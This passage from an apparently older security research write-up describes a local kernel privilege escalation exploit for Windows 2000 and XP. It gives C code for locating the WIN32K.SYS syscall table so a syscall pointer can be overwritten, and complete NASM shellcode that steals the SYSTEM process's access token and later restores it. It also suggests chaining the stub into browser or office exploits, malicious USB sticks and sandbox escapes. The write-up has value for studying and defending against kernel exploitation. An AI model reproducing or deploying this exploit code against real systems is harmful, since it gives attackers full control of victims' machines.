This worked like a charm for Windows XP SP2 and Windows 2000, but then mysteriously failed and caused a BSoD for Windows XP SP1. When checking it out with WinDbg I was surprised to see that it crashed on the write to the syscall pointer. Turns out KiServiceTable actually resides in the read-only text segment of NTOSKRNL but no Windows release (of the ones I tested) except XP SP1 actually enforces read-only kernel pages.

To my surprise, W32pServiceTable resided in the writable data segment of WIN32K.SYS and not its read-only text segment. This was perfect for our purposes, but unlike for KiServiceTable I did not know a reliable way to determine its address. It is not an exported symbol.

My first idea was searching for at least 600 consecutive pointers to the WIN32K.SYS text segment from within its data segment, since there are over 600 syscalls provided by WIN32K.SYS. This method worked fine in some cases, but not in the case that there are unrelated pointers to the text segment right before the start of W32pServiceTable.

The second and final idea was searching for the call to KeAddSystemServiceTable() withing the INIT-section of WIN32K.SYS, which is used for registering W32pServiceTable in NTOSKRNL. The entire code for looking this up is 200+ lines, but here are selected parts of it.

First we need to find to find the KeAddSystemServiceTable IAT-entry:

```
for (i = 0; i < dwSize / sizeof(pid[0]); i++) {
      if (pid[i].Name != 0) {
            ptd = (PIMAGE_THUNK_DATA) &pMap[pid[i].FirstThunk];
            for (j = 0; ptd[j].u1.AddressOfData; j++) {
                  DWORD x = ptd[j].u1.AddressOfData + 2;
                  if (! strcmp(
                        &pMap[x],
                        "KeAddSystemServiceTable"
                  ))
                        break;
            }
            if (ptd[j].u1.AddressOfData != 0)
                  break;
      }
}
```

We calculate the address to the IAT-entry like this:

```
dwIAT  = poh->ImageBase;
dwIAT += pid[i].FirstThunk;
dwIAT += j * sizeof(ptd[0]);
```

Then we search for the call to this IAT-entry, from within the INIT-section:

```
for (p = pInit; p < &pInit[dwInitSize-6]; p++)
      if (p[0] == 0xFF && p[1] == 0x15) {
            DWORD x = *((PDWORD) &p[2]);
            if (x == dwIAT)
                  break;
      }
```

Finally we search for the push of the W32pServiceTable-argument:

```
For (p -= 5; p > pInit; p--)
      if (p[0] == 0x68) {
            DWORD x = *((PDWORD) &p[1]);
            if (x >= dwDataMin && x <= dwDataMax) {
                  dwW32pServiceTableAddr = x;
                  break;
            }
      }
```

Payload

Kernel-mode privilege escalation in Windows are not quite as simple as in Unix, instead of just setting an UID-field we need to either make or steal an access token, which is a rather complicated variable-sized structure. The easiest way to escalate ones privileges is to "steal" an existing access token from a privileged process (e.g. running with SYSTEM-privileges).

The process of doing this is rather well understood, or so I thought. My first approach was using the same approach as other privilege escalation payloads I've seen [6]. This usually worked fine, especially when just triggering the exploit once, but occasionally it resulted in a BSoD.

I knew it was related to the payload, since when I used a payload that just immediately returned I could trigger the exploit in a loop all day long without crashing the system. By examining the crashes with WinDbg I noticed that the crashes seemed to be related to the reference counting of access tokens. The lowest three bits of the access token pointer was actually being used as a reference counter.

No matter what I tried, which included incrementing the reference count of the original token, setting the reference count of the stolen access token to zero and so on, I always ended up crashing if I repeatedly trigger the exploit. This was not good enough for me.

My final solution was very simple and also had the advantage of not leaking memory due to discarding the original access token. At the end of my exploit, after doing whatever I wanted to do with elevated privileges (like executing a privileged cmd.exe process), I trigger a restore-payload.

The restore-payload restores the original access token and also the original value of the overwritten syscall pointer. After this modification I've finally reached my goal, a reliable and stable local privilege escalation exploit for all Windows 2000 and Windows XP systems.

The full and commented payload(s), suitable for compiling with NASM, follows:

```
[BITS 32]

OFF_ETHREAD       equ 0x124              ; ETHREAD offset from fs
OFF_EPROCESS      equ 0x44               ; EPROCESS offset in ETHREAD

%ifdef W2K
PID_SYSTEM        equ 8                  ; PID with SYSTEM-token
OFF_PID           equ 0x9c               ; UniqueProcessId-offset
OFF_FLINK         equ 0xa0               ; Flink-offset
OFF_TOKEN         equ 0x12c              ; Token-offset
%else
PID_SYSTEM        equ 4                  ; PID with SYSTEM-token
OFF_PID           equ 0x84               ; UniqueProcessId-offset
OFF_FLINK         equ 0x88               ; Flink-offset
OFF_TOKEN         equ 0xc8               ; Token-offset
%endif

PayloadCode:
      ; Get pointer to exploit process
      mov eax, [fs:OFF_ETHREAD]          ; eax = ETHREAD
      mov eax, [eax+OFF_EPROCESS]        ; eax = EPROCESS
      mov ecx, eax

FindSystemProcess:
      mov eax, [eax+OFF_FLINK]           ; EPROCESS.ActiveProcessLinks.Flink
      sub eax, OFF_FLINK                 ; eax = EPROCESS
      cmp DWORD [eax+OFF_PID], PID_SYSTEM ; Check if PID_SYSTEM
      jnz FindSystemProcess              ; If not, continue searching

      mov edx, [eax+OFF_TOKEN]           ; edx = EPROCESS.Token (System)
      mov eax, [ecx+OFF_TOKEN]           ; eax = EPROCESS.Token (Exploit)
      mov [ecx+OFF_TOKEN], edx           ; Exploit.Token = System.Token
      ret

RestoreCode:
      ; Get pointer to exploit process
      mov eax, [fs:OFF_ETHREAD]          ; eax = ETHREAD
      mov eax, [eax+OFF_EPROCESS]        ; eax = EPROCESS
      mov ecx, [esp+4]                   ; ecx = Arg (pdwArgs)
      mov edx, [ecx]                     ; edx = OrigToken
      mov [eax+OFF_TOKEN], edx           ; EPROCESS.Token = OrigToken
      mov eax, [ecx+4]                   ; eax = SysCallAddr
      mov edx, [ecx+8]                   ; edx = OrigSysCall
      mov [eax], edx                     ; *SysCallAddr = OrigSysCall
      ret
```

Summary

Except for being used by restricted users to escalate their privileges on a system this vulnerability could be abused for embedding an automatic privilege escalation stub into existing exploits for browser/office/whatever-bugs or on a malicious U3 USB-stick, to mention a few examples.

It totally bypasses the NT security model and makes any exploit which achieves code execution with any privileges a full system compromising exploit. It could also be used to bypass sandboxing solutions, such as SandboxIE [7]. In my humble opinion, this is quite serious, and I'm surprised to see that Microsoft still has not provided a patch considering they've known about it for several years.

To Microsofts defense, they might have considered this to be only a local DoS issue, until now…

References

1. http://projects.info-pull.com/mokb/
2. http://msdn.microsoft.com/msdnmag/issues/03/01/GDILeaks/
3. http://www.microsoft.com/whdc/devtools/debugging/default.mspx
4. http://www.catch22.net/tuts/vmware.asp
5. http://www.rootkit.com/newsread_print.php?newsid=176
6. http://www.scan-associates.net/papers/navx.c
7. http://www.sandboxie.com/

More resources about kernel exploitation

Remote Windows Kernel Exploitation - Step into the Ring 0 (Whitepaper)
http://research.eeye.com/html/Papers/download/StepIntoTheRing.pdf

Remote Windows Kernel Exploitation - Step into the Ring 0
http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-jack-update.pdf

Windows Local Kernel Exploitation
http://www.packetstormsecurity.org/hitb04/hitb04-sk-chong.pdf

Exploiting 802.11 Wireless Driver Vulnerabilities on Windows
http://www.uninformed.org/?v=6&a=2&t=sumry

Exploiting Windows Device Drivers
http://www.piotrbania.com/all/articles/ewdd.pdf

Smashing The Kernel Stack For Fun And Profit
http://www.phrack.org/archives/60/p60-0x06.txt

Exploiting Kernel Buffer Overflows FreeBSD Style
http://www.groar.org/expl/advanced/fbsdjail.txt

Kernel Level Vulnerabilities
http://www.comms.scitech.susx.ac.uk/fft/security/kernvuln-1.0.2.pdf

Unix Kernel Auditing
http://pacsec.jp/psj05/psj05-vansprundel-en.pdf

The /proc/pid/mem problem
http://ilja.netric.org/files/kernelhacking/procpidmem.pdf

Win32 Device Drivers Communication Vulnerabilities
http://artofhacking.com/tucops/hack/WINDOWS/live/aoh_win32dcv.htm

Windows Kernel-mode Payload Fundamentals
http://www.uninformed.org/?v=3&a=4&t=sumry

How To Exploit Windows Kernel Memory Pool
http://xcon.xfocus.org/xcon2005/archives/2005/Xcon2005_SoBeIt.pdf